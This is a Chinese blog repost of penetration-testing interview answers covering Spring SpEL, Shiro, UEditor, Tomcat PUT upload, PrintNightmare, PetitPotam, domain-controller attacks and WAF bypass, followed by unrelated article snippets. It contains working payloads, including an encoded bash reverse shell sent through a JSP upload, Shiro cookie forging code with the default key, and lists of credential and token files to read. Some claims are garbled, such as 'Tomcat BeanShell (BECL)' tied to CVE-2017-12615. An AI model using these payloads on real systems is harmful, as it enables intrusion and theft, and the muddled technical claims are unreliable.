2025年渗透测试面试题总结-某 长亭(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

长亭

一、Spring SpEL表达式注入漏洞

1. 技术原理

2. 利用条件

3. 攻击方法

4. 防御策略

二、Java JDBC反序列化高版本不出网利用

1. 漏洞背景

2. 本地利用链构造

3. 利用步骤

4. 防御方案

三、Tomcat BeanShell(BECL)漏洞利用

1. 漏洞原理(CVE-2017-12615)

2. 攻击流程

3. 防御措施

四、Shiro反序列化漏洞

1. 加密机制

2. 攻击流程

3. WAF绕过技术

五、UEditor漏洞利用及WAF绕过

1. 受影响版本

2. 攻击示例

3. WAF绕过技巧

六、内网Windows Print Spooler漏洞(PrintNightmare)

1. 漏洞原理(CVE-2021-34527)

2. 利用工具

3. 防御方案

七、PetitPotam攻击原理

1. 攻击流程

2. 工具使用

3. 缓解措施

八、域用户与工作组用户差异

九、域控攻击方法论

1. 信息收集阶段

2. 权限提升路径

3. 持久化技术

十、Spring4Shell & Log4j漏洞对比

十一、外网常用打点漏洞清单

十二、任意文件读取深度利用

1. 敏感文件枚举

2. 组合利用案例

十三、用友NC BeanShell绕过WAF

1. 漏洞触发点

2. 命令混淆技巧

3. WAF绕过方案

十四、Shiro Cookie过长WAF拦截解决方案

1. Payload压缩技术

2. 内存马注入

长亭

sping spel漏洞原理&利用方法 什么情况才能利用
java jdbc反序列化高版本不出网的条件下如何利用
tomcat becl如何利用
shiro 反序列化用的哪种加密方法 如何利用
ueditor 哪种语言环境存在漏洞 怎么利用 如何绕waf
内网windows print spooler 利用&原理
内网 PotiPetam利用&原理
域内用户和工作组用户的差别
如何攻击域控
spring4shell&log4j利用
外网常用打点漏洞有哪些
一个任意文件读取/任意文件下载,如何进一步利用
用友nc beanshell执行命令如何绕waf
shiro反序列化漏洞 如何cookie中的payload 过长被waf 拦截 如何绕waf

一、Spring SpEL表达式注入漏洞

1. 技术原理
  • 表达式解析机制:Spring框架在处理@Value注解、SpelExpressionParser时未正确过滤用户输入
  • 沙箱逃逸:通过T(Type)运算符访问Java类加载器,例如:T(java.lang.Runtime).getRuntime().exec('calc')
  • 触发场景:HTTP参数绑定、错误消息处理、动态模板渲染
2. 利用条件
  • Spring版本 < 5.0.6(CVE-2018-1270)
  • 存在用户输入直接拼接至SpEL表达式
  • 应用未启用表达式安全模式(如StandardEvaluationContext被误用)
3. 攻击方法
httpPOST /vuln-endpoint HTTP/1.1 param=${T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")} 
4. 防御策略
  • 升级Spring至5.0.6+版本
  • 全局替换StandardEvaluationContextSimpleEvaluationContext
  • 输入过滤:正则表达式拦截T\(.*?\)等危险语法

二、Java JDBC反序列化高版本不出网利用

1. 漏洞背景
  • MySQL Connector/J 8.0+反序列化限制autoDeserialize参数默认关闭
  • 不出网限制:无法建立JNDI连接或RMI反向Shell
2. 本地利用链构造
  • TemplatesImpl链
    java// 生成恶意字节码 ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("Evil"); clazz.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); // 注入静态代码块执行命令... byte[] byteCode = clazz.toBytecode(); // 构造TemplatesImpl对象 TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{byteCode}); setFieldValue(templates, "_name", "Exploit");
3. 利用步骤
  1. 利用CC链(如CC6)触发TemplatesImpl#newTransformer()
  2. 通过JDBC连接属性触发反序列化: jdbc:mysql://host:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
4. 防御方案
  • 升级JDBC驱动至最新版
  • 配置数据库连接池禁用autoDeserialize参数

三、Tomcat BeanShell(BECL)漏洞利用

1. 漏洞原理(CVE-2017-12615)
  • BeanShell脚本引擎:Tomcat默认允许.bsh文件解析
  • 文件上传绕过:利用PUT方法上传.jsp文件时,添加/后缀绕过过滤(如shell.jsp%20
2. 攻击流程
httpPUT /test.jsp%20 HTTP/1.1 <% Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}"); %>
3. 防御措施
  • 禁用HTTP PUT方法
  • 配置web.xml 限制脚本文件扩展名

四、Shiro反序列化漏洞

1. 加密机制
  • AES-CBC模式:默认使用硬编码密钥kPH+bIxk5D2deZiIxcaaaA==
  • RememberMe Cookie结构:Base64(AES(序列化数据))
2. 攻击流程
  1. 生成恶意对象:
    bashjava -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/pwned" > payload.bin 
  2. 加密payload:
    pythonfrom Crypto.Cipher import AES key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(payload)) 
  3. 发送Cookie:Cookie: rememberMe=Base64(encrypted)
3. WAF绕过技术
  • 分块传输:将Cookie拆分为多个rememberMe=part1; rememberMe=part2
  • 注释符注入:利用/**/分割payload,如reme/*xxx*/mberMe=...
  • 短Payload构造:使用URLClassLoader加载远程jar(需DNS出网)

五、UEditor漏洞利用及WAF绕过

1. 受影响版本
  • JSP版本:1.4.3之前存在任意文件上传(CVE-2017-1000498)
  • 漏洞路径/ueditor/jsp/controller.jsp?action=uploadfile
2. 攻击示例
httpPOST /ueditor/jsp/controller.jsp?action=uploadfile HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABCDE ------WebKitFormBoundaryABCDE Content-Disposition: form-data; name="upfile"; filename="test.jsp" Content-Type: image/jpeg <% out.println("Hello Vuln!"); %>
3. WAF绕过技巧
  • MIME伪装:修改Content-Type为image/png
  • 路径遍历:文件名设置为../../../test.jsp
  • Unicode编码test.%6a%73%70

六、内网Windows Print Spooler漏洞(PrintNightmare)

1. 漏洞原理(CVE-2021-34527)
  • RPC协议缺陷RpcAddPrinterDriverEx未验证调用者权限
  • 驱动程序加载:远程加载恶意DLL实现SYSTEM权限执行
2. 利用工具
powershellInvoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "P@ssw0rd!"
3. 防御方案
  • 禁用Print Spooler服务
  • 安装2021年7月微软补丁

七、PetitPotam攻击原理

1. 攻击流程
  1. 强制域控通过MS-EFSRPC协议向攻击者发起NTLM认证
  2. 中继认证至LDAP服务,修改域对象ACL
  3. 授予攻击者DCSync权限,导出krbtgt哈希
2. 工具使用
bashpython3 petitpotam.py -d domain.local -u user -p pass 192.168.1.100 192.168.1.1 
3. 缓解措施
  • 启用SMB签名
  • 禁用NTLM认证

八、域用户与工作组用户差异

特征域用户工作组用户
认证中心域控制器(AD)本地SAM数据库
策略管理组策略统一应用本地策略独立配置
资源共享域内全局访问需手动配置共享权限
典型攻击面Kerberoasting、DCSync本地提权、密码复用

九、域控攻击方法论

1. 信息收集阶段
  • BloodHound分析:识别高价值路径(如域管登录过的机器)
  • SPN扫描setspn -T domain -Q */*
2. 权限提升路径
  • MS14-068:伪造PAC获取域管权限(需未打补丁)
  • ZeroLogon:重置域控机器账户密码(CVE-2020-1472)
3. 持久化技术
  • Golden Ticket:使用krbtgt哈希生成任意用户TGT
  • SID History注入:添加域管SID至普通用户

十、Spring4Shell & Log4j漏洞对比

特征Spring4Shell (CVE-2022-22965)Log4j (CVE-2021-44228)
触发条件Tomcat+War部署、JDK9+日志记录包含${jndi:ldap://}
利用链数据绑定→日志文件写入WebShellJNDI→LDAP加载远程类
回显方式需访问写入的JSP文件直接通过DNS/HTTP请求外带数据
影响版本Spring 5.3.0-5.3.17, 5.2.0-5.2.19Log4j 2.0-beta9 - 2.14.1

十一、外网常用打点漏洞清单

  1. Web漏洞
    • SQL注入(如时间盲注绕过WAF)
    • 文件上传(类型校验绕过)
    • SSRF(云元数据API利用)
  2. 框架漏洞
    • Shiro反序列化
    • Fastjson JNDI注入
  3. 协议漏洞
    • FTP匿名访问
    • Redis未授权访问

十二、任意文件读取深度利用

1. 敏感文件枚举
  • Linux/etc/passwd/proc/self/environ~/.ssh/id_rsa
  • WindowsC:\Windows\win.iniC:\Windows\Panther\Unattended.xml
2. 组合利用案例
  • 读取Spring配置文件:获取数据库密码→横向移动
  • 获取Kubernetes Token/var/run/secrets/kubernetes.io/serviceaccount/token

十三、用友NC BeanShell绕过WAF

1. 漏洞触发点
  • 接口路径/servlet/~ic/bsh.servlet.BshServlet
2. 命令混淆技巧
java// 原始payload exec("whoami"); // 混淆后 String cmd = "w" + "ho" + "am" + "i"; Runtime.getRuntime().exec(cmd); 
3. WAF绕过方案
  • Unicode转义\u0077\u0068\u006f\u0061\u006d\u0069
  • 反射调用Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(null, "cmd")

十四、Shiro Cookie过长WAF拦截解决方案

1. Payload压缩技术
  • GZIP压缩:将序列化数据压缩后加密
  • 分片存储:将Payload拆分存储至多个Cookie
2. 内存马注入
  1. 发送短Payload加载ClassLoader
  2. 通过HTTP头传输字节码:X-Payload: CAFEBABE...
  3. 反射定义恶意类实现内存驻留

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/73476.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

conda环境下解决gitk乱码模糊

关键词 conda、git、gitk、git gui、模糊、linux、乱码 现象 操作系统&#xff1a;ubuntu24.04 conda版本&#xff1a;25.1.1 正常的终端里gitk显示不会模糊 但是在conda创建的python虚拟环境中使用gitk&#xff0c;字体开始变得模糊不清 分析 根据deepseek的原因原因分析…

【C++项目实战】:基于正倒排索引的Boost搜索引擎(1)

1. 项目的相关背景与目标 针对boost网站没有搜索导航功能&#xff0c;为boost网站文档的查找提供搜索功能 站内搜索&#xff1a;搜索的数据更垂直&#xff0c;数据量小 类似于cplusplus.com的搜索 2.搜索引擎的相关宏观原理 3.技术栈和项目环境 技术栈&#xff1a;C/C&am…

汽车高级驾驶辅助系统应用存储MRAM

高级驾驶辅助系统和先进的互连航空电子技术等应用要求元件能够承受恶劣的环境条件&#xff0c;并具有较高的耐用性。闪存虽然在某些条件下性能可靠&#xff0c;但在耐用性方面存在局限性&#xff0c;因此无法满足这些严格的要求。 在实时传感器数据处理或高可靠性通信等对时间…

蓝桥-班级活动

问题描述 小明的老师准备组织一次班级活动。班上一共有 n 名 (n 为偶数) 同学&#xff0c;老师想把所有的同学进行分组&#xff0c;每两名同学一组。为了公平&#xff0c;老师给每名同学随机分配了一个 n 以内的正整数作为 id&#xff0c;第 i 名同学的 id 为 ai​。 老师希望…

MongoDB 的索引是提高查询性能的核心机制,类似于传统关系型数据库的索引。以下是对 MongoDB 索引的详细说明:

MongoDB 的索引是提高查询性能的核心机制&#xff0c;类似于传统关系型数据库的索引。以下是对 MongoDB 索引的详细说明&#xff1a; 一、索引基础 1. 索引的作用 加速查询&#xff1a;通过索引快速定位数据&#xff0c;避免全集合扫描&#xff08;COLLSCAN&#xff09;。 排…

深入理解指针(1)(C语言版)

文章目录 前言一、内存和地址1.1 内存1.2 究竟该如何理解编址 二、指针变量和地址2.1 取地址操作符&2.2 指针变量和解引用操作符*2.2.1 指针变量2.2.2 如何拆解指针类型2.2.3 解引用操作符 2.3 指针变量的大小 三、指针变量类型的意义3.1 指针的解引用3.2 指针-整数3.3 voi…

【视频】m3u8相关操作

【视频】郭老二博文之:图像视频汇总 1、视频文件转m3u8 1.1 常用命令 1)默认只保留 5 个ts文件 ffmpeg -i input.mp4 -start_number 0 -hls_time 10 -hls_list_size 0 -f hls stream1.m3u82)去掉音频 -an,保留全部ts文件 ffmpeg -i input.mp4 -vf scale=640:480 -an -…

AWS CloudWatch 实战:构建智能监控与自动化运维体系

摘要&#xff1a;本文通过实际案例&#xff0c;详细讲解如何利用AWS CloudWatch实现云端资源的实时监控、日志分析与自动化运维&#xff0c;助力企业提升系统稳定性与运维效率 一、场景痛点分析 某电商平台迁移至AWS后面临三大挑战&#xff1a; 故障响应滞后&#xff1a;服务器…

第一天学爬虫

阅读提示&#xff1a;我今天才开始尝试爬虫&#xff0c;写的不好请见谅。 一、准备工具 requests库&#xff1a;发送HTTP请求并获取网页内容。BeautifulSoup库&#xff1a;解析HTML页面并提取数据。pandas库&#xff1a;保存抓取到的数据到CSV文件中。 二、爬取步骤 发送请求…

网络编程和计算机网络五层模型的关系

计算机网络的五层模型&#xff08;应用层、传输层、网络层、链路层和物理层&#xff09;为网络编程提供了基础框架和通信机制。网络编程就是在这些层次上实现应用程序之间的通信。 计算机网络五层模型 &#xff08;1&#xff09;应用层&#xff1a; 作用&#xff1a;应用层是…

知识篇 | Oracle的 TEMP表空间管理和优化

Oracle临时表空间&#xff08;TEMP&#xff09;是数据库中用于存储会话级临时数据的核心组件&#xff0c;主要用于支持需要中间结果集的操作&#xff08;如排序、哈希连接&#xff09;。其数据在事务结束或会话终止后自动释放&#xff0c;不持久化存储。 核心特点&#xff1a;…

重学Java基础篇—线程池参数优化指南

一、核心参数解析 线程池&#xff08;ThreadPoolExecutor&#xff09;的性能取决于以下关键参数&#xff1a; 参数说明corePoolSize核心线程数&#xff0c;即使空闲也不会被回收maximumPoolSize最大线程数&#xff0c;当队列满且核心线程忙时创建新线程workQueue任务队列&…

记一次线上环境JAR冲突导致程序报错org.springframework.web.util.NestedServletException

一、问题描述 有个文件导入功能&#xff0c;用到了Hutool 的加密解密功能&#xff0c;本地运行完全可以&#xff0c;但是线上报错&#xff1a;“org.springframework.web.util.NestedServletException: Handler dispatch failed; nested exception is java.lang.NoClassDefFou…

怎么快速部署Sock5代理到ubuntu云服务器

使用 Dante (推荐) 1. 安装 Dante bash Copy sudo apt update sudo apt install dante-server -y 2. 配置 Dante 编辑配置文件 /etc/danted.conf&#xff1a; bash Copy sudo nano /etc/danted.conf 替换为以下内容&#xff08;按需修改端口和认证&#xff09;&#…

华为OD机试2025A卷 - 游戏分组/王者荣耀(Java Python JS C++ C )

最新华为OD机试 真题目录:点击查看目录 华为OD面试真题精选:点击立即查看 题目描述 2020年题: 英雄联盟是一款十分火热的对战类游戏。每一场对战有10位玩家参与,分为两组,每组5人。每位玩家都有一个战斗力,代表着这位玩家的厉害程度。为了对战尽可能精彩,我们需要…

OpenRAND可重复的随机数生成库

OpenRAND 是一个 C++ 库,旨在通过提供强大且可复制的随机数生成解决方案来促进可重复的科学研究。它是一个简单的仅头文件库,性能可移植,统计稳健,并且易于集成到任何 HPC 计算项目中。 特征 跨平台支持:OpenRAND 旨在跨各种平台无缝工作,包括 CPU 和 GPU。其仅标题库设计…

接口/UI自动化面试题

一、UI自动化 1.1、接口和UI自动化有多少用例&#xff1f; 回答策略&#xff1a;根据接口设定用例&#xff0c;100个接口&#xff0c;自动化case在1500-2000左右。结合自身的项目&#xff0c;回答覆盖的主功能流程。 示例&#xff1a; 接口自动化的测试case一般需要根据接口数…

使用Docker部署RabbitMQ

第一步&#xff1a;安装 RabbitMQ # 1. 拉取镜像 docker pull rabbitmq:3.12.0-management# 2. 启动容器&#xff08;开放端口 数据持久化&#xff09; docker run -d \--nameshare_rabbitmq \-p 5672:5672 \ # AMQP 协议端口-p 15672:15672 \ # 管理界面端口…

2.基于多线程的TCP服务器实现

目录 1. 简单分析之前的代码 2. 多线程服务器设计 2.1 C11线程的基本使用 2.2 服务器主体逻辑 3. 错误处理的封装 4. 完整的代码实现 客户端代码&#xff08;client.cpp&#xff09; 服务器代码&#xff08;server.cpp&#xff09; 5. 运行方式 在我们预想中&#xff…

Python Web 框架 Django、Flask 和 FastAPI 对比

在探索 Python Web 框架时&#xff0c;Django、Flask 和 FastAPI 无疑是最常被提及的名字。根据我们最新的 Python 开发者调查&#xff0c;这三大框架继续稳坐后端 Web 开发的热门宝座。它们均为开源项目&#xff0c;并且与 Python 的最新版本无缝兼容。然而&#xff0c;面对不…